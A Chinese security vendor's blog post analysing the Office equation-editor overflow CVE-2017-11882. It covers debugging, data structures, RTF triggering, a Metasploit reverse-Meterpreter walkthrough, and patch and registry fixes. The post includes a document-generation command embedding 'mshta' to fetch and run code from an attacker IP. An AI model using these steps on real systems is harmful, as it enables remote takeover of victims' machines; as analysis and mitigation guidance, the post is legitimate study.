人工客服

获取报价

获取资料

方案定制

项目合作

售后服务

咨询热线

400-608-6677 转810
返回顶部

您的位置:首页 - 无人机反制

Office系列漏洞经典案例分析与利用

2019-03-28 2385 神州明达-小明

一、 漏洞简介

CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。

2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本。
二、 漏洞测试


使用Command_CVE-2017-11882.py脚本生成漏洞文件。

有两种方式,我们先测试第一种弹出计算器。

三、 漏洞定位

由于缓冲区溢出函数处于EQNEDT32进程中,所以对它进行调试分析,打开漏洞文件会弹出计算器,一般采用Winexec函数调用,可对该函数进行下断,然后进行逆推找出溢出点。

首先把eqnedt32.exe拖进od运行(或打开后进行附加),然后定位WinExec进行下断,打开漏洞文件test.doc,此时断点会停在WinExec函数上,

由于漏洞利用采用函数覆盖返回地址,那我们可以从栈中找出漏洞函数的上层或上上层函数继续进行分析,


在4115A7函数上下好断点,重新打开漏洞文件,断下后进行步过(F8)分析,在步过第一个call后并没有返回,而是直接弹出了计算器,这就说明漏洞溢出点在这个call里面,也就是把栈中返回地址4115D8进行了覆盖,从而转向shellcode执行。


上图是调用41160F,栈中保存的原始返回地址

在copy字体名字的时候,由于没有校验名称长度,导致缓冲区溢出,从而过长的数据覆盖了该函数的返回地址4115D8。

IDA分析可以看到[ebp+28]就是溢出缓冲区。

[ebp+28]分配的空间是0x24,超过此长度就会产生溢出,从而覆盖返回地址。

在经过溢出点后,原始返回地址4115D8被覆盖成402114。

这里覆盖后的地址是402114,Retn后回转到该地址处执行,

Retn执行后会转向12F350处,存放的就是FONT[name]数据,也就是shellcode。

Shellcode中call WinExec函数弹出calc.exe。
成功弹出计算器。
四、 数据结构分析

漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。

Equation Native数据流 = EQNOLEFILEHDR + MTEFData,其中
MTEFData = MTEFheader + MTEF Byte Stream
EQNOLEFILEHDR头结构(共28字节)如下

struct EQNOLEFILEHDR {
WORD cbHdr; // 格式头长度,固定为0x1C。
DWORD version; // 固定为0x00020000。
WORD cf; // 该公式对象的剪贴板格式。
DWORD cbObject; // MTEF数据的长度,不包括头部。
DWORD reserved1; // 未公开
DWORD reserved2; // 未公开
DWORD reserved3; // 未公开
DWORD reserved4; // 未公开
};

对应的数据如下图
 
参考:http://rtf2latex2e.sourceforge.net/MTEF3.html

数据 8 对应的数据类型为FONT,记录及结构如下:
struct stuFontRecord {
BYTE bTag; // 字体文件的tag位0x08
BYTE bTypeFace; // 字体风格
BYTE bStyle; // 字体样式
BYTE bFontName[n] // 字体名称,以NULL为结束符
}; 

对应的数据如下图

五、 RTF结构分析


其中,\objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。

对漏洞文件ole对象分析

可以看到插入了数学公式ole对象

查看ole对象的目录结构

可以看到ole对象中包含了Equation Native流

使用olebrowse工具查看Equation Native 流

六、 MSF利用

首先下载组件
把cve_2017_11882.rb copy到
/usr/share/Metasploit-framework/modules/exploits/windows/smb

再Copy cve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits

启动metasploit

使用search命令查找11882对应模块,用命令use exploit/windows/smb/cve_2017_11882
show options查看要设置的参数

设置一个反弹式的meterpreter攻击载荷

设置本机ip以及URI路径

使用命令exploit -j 返回结果会显示出与目标主机的哪个端口建立了连接


生成目标机的漏洞文档,命令如下
Python Command109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test” -o test.doc
这里的为攻击机的ip,端口设置8080以及URI设置test,生成后,在目标机打开该文档。


如果成功,meterpreter会显示返回连接信息,如失败,可能是参数错误或者其它错误

成功后,使用命令sessions -l 查看你控制的pc

使用命令sessions -i 1 切换进入,输入shell,进入cmd,whoami,OVER。

七、 修复漏洞

(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 更新补丁进行修补
(2)开启Windows Update功能,定期对系统进行自动更新

取消该模块的注册

(1)按下Win+R组合键,打开cmd.exe
(2)输入以下两条命令:
reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags” /t REG_DWORD /d 0x400

参考资料:主要来自freebuf、pediy、csdn等平台

喜欢
分享
咨询

评论

全部评论0

神州明达- 为您的信息安全负责
  • 24小时发货

  • 7天退换货

  • 1年保修期

  • 免费提供方案

填写信息,获取定制方案

友情链接: 手机信号屏蔽柜
  • 400-608-6677 转810    
  • 北京市密云区古北口镇古御路外街11号
  • postmaster@szmid.com
  • 投诉电话:4006086677转700

北京神州明达高科技有限公司 备案号:京ICP备12008205号-5    技术支持:神州明达

.
0.044974s